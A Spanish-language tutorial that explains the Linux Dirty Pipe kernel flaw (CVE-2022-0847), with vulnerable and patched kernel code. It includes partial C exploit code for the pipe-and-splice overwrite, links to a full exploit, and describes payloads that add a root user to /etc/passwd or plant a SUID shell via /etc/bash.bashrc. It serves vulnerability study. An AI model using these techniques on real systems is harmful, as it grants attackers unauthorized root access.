
Explotando CVE-2022-0847 - escrito por : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) es una de las vulnerabilidades de seguridad más significativas en el Kernel de Linux 5.8 – 5.15.24, descubierta por Max Kellermann en 2022. Esta vulnerabilidad permite a usuarios ordinarios (sin privilegios especiales) sobrescribir datos en archivos que deberían ser de solo lectura. Entendiendo los Conceptos Clave
Antes de discutir Dirty Pipe en detalle, aquí hay algunos conceptos internos del kernel de Linux que deben entenderse:
1. Paginación
La paginación es un mecanismo de gestión de memoria en el kernel de Linux donde el sistema de memoria divide la memoria física en bloques pequeños de tamaño fijo llamados marcos de página, y la memoria virtual se divide en bloques del mismo tamaño llamados páginas.
Este mecanismo permite al kernel mapear el espacio de direcciones virtuales de los procesos a la memoria física de manera no secuencial, lo cual es crucial para la eficiencia y seguridad en los sistemas modernos.
2. Página (Memoria Virtual)
En Linux, una página es la unidad más pequeña de gestión de memoria física manejada por el kernel.
Analogía: la RAM es como un libro gigante. Una página es una hoja de papel en ese libro. El kernel no mueve datos bit a bit, sino hoja por hoja (página por página).
Generalmente, en arquitecturas de sistemas modernos (como x86_64), el tamaño estándar de una página es de 4 KB (4096 bytes).
3. Caché de Páginas
Esta es una parte crucial. Linux no lee archivos directamente del disco cada vez porque es lento. El kernel copia el contenido de los archivos en la RAM llamada Caché de Páginas.
4. Buffer de Tubería
La tubería es un mecanismo de Comunicación entre Procesos (IPC). Internamente, el kernel gestiona las tuberías utilizando la estructura de datos pipe_inode_info. Los datos dentro de una tubería se almacenan en un "buffer" llamado Buffer de Tubería.
5. Bandera del Buffer de Tubería (PIPE_BUF_FLAG_CAN_MERGE)
La bandera PIPE_BUF_FLAG_CAN_MERGE se introdujo en el Kernel de Linux versión 5.8.
Aquí es donde reside la vulnerabilidad principal. La bandera llamada PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() es una llamada al sistema para mover datos entre dos descriptores de archivo sin copiar los datos entre el espacio del kernel y el espacio de usuario. A esto a menudo se le llama mecanismo de copia cero.
La llamada al sistema splice() es el "actor principal" en Dirty Pipe:
7. Copia en Escritura (CoW)
El mecanismo de Copia en Escritura (CoW) es una estrategia de optimización de gestión de memoria utilizada por el kernel de Linux para retrasar la copia de datos hasta que sea absolutamente necesario.
La relación entre Copia en Escritura (CoW) y el exploit Dirty Pipe (CVE-2022-0847) trata sobre cómo un pequeño error en el kernel de Linux logra "engañar" al mecanismo CoW, permitiendo que se escriban datos en archivos que deberían ser de solo lectura.
8. Página Sucia
Una página sucia es una página de memoria en RAM que ha sido modificada por una aplicación, pero los cambios aún no se han escrito de vuelta al almacenamiento secundario (como SSD o disco duro).
Análisis de la Vulnerabilidad Dirty Pipe
Dirty Pipe es un tipo de error lógico en el manejo del buffer de tubería en el kernel de Linux 5.8 hasta el kernel de Linux 5.15.24. El problema principal reside en el mecanismo de Tubería (canal de comunicación entre procesos) y cómo el kernel gestiona la Caché de Páginas (memoria que almacena copias de datos de archivos del disco). El problema central es un error en la bandera PIPE_BUF_FLAG_CAN_MERGE.
El problema principal radica en la falla del kernel al no reinicializar correctamente esta bandera (error lógico). Aquí está el análisis del código: En las funciones copy_page_to_iter_pipe y push_to_pipe en el kernel de Linux anterior a la versión 5.16.11, al realizar operaciones splice, el kernel prepara la estructura pipe_buffer pero olvida limpiar el miembro .flags.
Estructura de Código Vulnerable:
// Ubicación del problema: fs/pipe.c o include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- ESTA BANDERA NO SE REINICIA
unsigned long private;
};
Código Antes del Parche (Vulnerable):
// lib/iov_iter.c - Antes del parche de CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEMA: buf->flags NO SE TOCA EN ABSOLUTO
// --------snip----------------------
}
Código Después del Parche (Corregido):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- REINICIO TOTAL A CERO
¿Por qué buf->flags = 0 es mejor que solo desactivar una bandera específica? Porque pipe_buffer es una estructura reutilizada. Si solo desactivamos una bandera (CAN_MERGE), otras banderas basura de usos anteriores de la tubería (como PIPE_BUF_FLAG_GIFT u otras banderas personalizadas) podrían permanecer y causar comportamientos extraños o nuevos agujeros de seguridad en el futuro. Establecerlo a 0 asegura que el buffer esté en un estado completamente "limpio".
¿Por Qué Se Puede Explotar Esto?
Aquí está el flujo de explotación de Dirty Pipe:
1. Etapa de Contaminación: El atacante inserta datos en la tubería mediante write(). Una operación write() normal establecerá buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Etapa de Vaciado: El atacante lee esos datos. El buffer ahora está lógicamente "vacío", pero su estructura aún existe en la memoria del kernel con la bandera CAN_MERGE aún activa.
3. Etapa de Splice: Cuando la llamada al sistema splice() mapea un archivo de solo lectura a una tubería, se llama a la función copy_page_to_iter_pipe(). Debido al error anterior, llena buf->page con la página de memoria del archivo original pero no reinicia buf->flags.
4. Ejecución: El kernel piensa que este buffer de archivo aún puede fusionarse. La siguiente escritura en la tubería no creará un nuevo buffer, sino que modificará directamente la página de memoria (Caché de Páginas) que se mapeó anteriormente.
En esta etapa, los datos del atacante ya están almacenados en RAM. Una página en RAM cuyo contenido difiere del que está en el disco se llama "Página Sucia". Si se alcanza esta etapa con éxito, ¡significa que la explotación ha tenido éxito! Una vez que la Caché de Páginas cambia, el efecto es instantáneo. Si sobrescribimos /etc/passwd en RAM, podemos ejecutar inmediatamente su root en ese mismo momento.
Explotación de Dirty Pipe
Para la explotación de Dirty Pipe, no necesitamos deshabilitar ninguna protección del kernel porque todas las protecciones del kernel son irrelevantes para prevenir este error lógico. Para explotar el error lógico de Página Sucia, nuestro exploit realizará los siguientes pasos:
Paso 1. Preparar la tubería y llenarla hasta el máximo con el objetivo de activar la bandera PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Paso 2. Vaciar la tubería.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Código de Exploit Completo para la Explotación de Dirty Pipe El código de exploit completo está disponible en https://github.com/bluedragonsecurity/dirtypipe2
Nota: El código de exploit completo contiene funciones para la validación de la versión del kernel, preparación de la tubería, inyección de payload y dos métodos de explotación diferentes dirigidos a /etc/passwd y /etc/bash.bashrc.
Métodos de Explotación
El exploit anterior utiliza 2 payloads diferentes con el objetivo de que si el primer payload falla, sea encadenado por el segundo payload.
Payload 1: Escribe en /etc/passwd para agregar un nuevo usuario llamado 'toor' con uid 0. Si este payload tiene éxito, podemos obtener inmediatamente una shell root.
Payload 2: Intenta colocar una shell bash SUID en /tmp/x. Específicamente para el segundo payload, debe esperar a que el usuario root del sistema inicie sesión porque el payload para colocar la shell SUID se inyecta en /etc/bash.bashrc. En Linux, los comandos contenidos en /etc/bash.bashrc son ejecutados por cada usuario que inicia sesión en el sistema al momento del inicio de sesión.
Prueba del Exploit
En este ejemplo, utilicé el kernel de Linux 5.13 ejecutándose en Lubuntu 20.04.5 en VirtualBox como sistema operativo invitado y el sistema operativo anfitrión es Kali Linux 2025.4. En la máquina Lubuntu 20.04.5, compile el exploit:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Referencias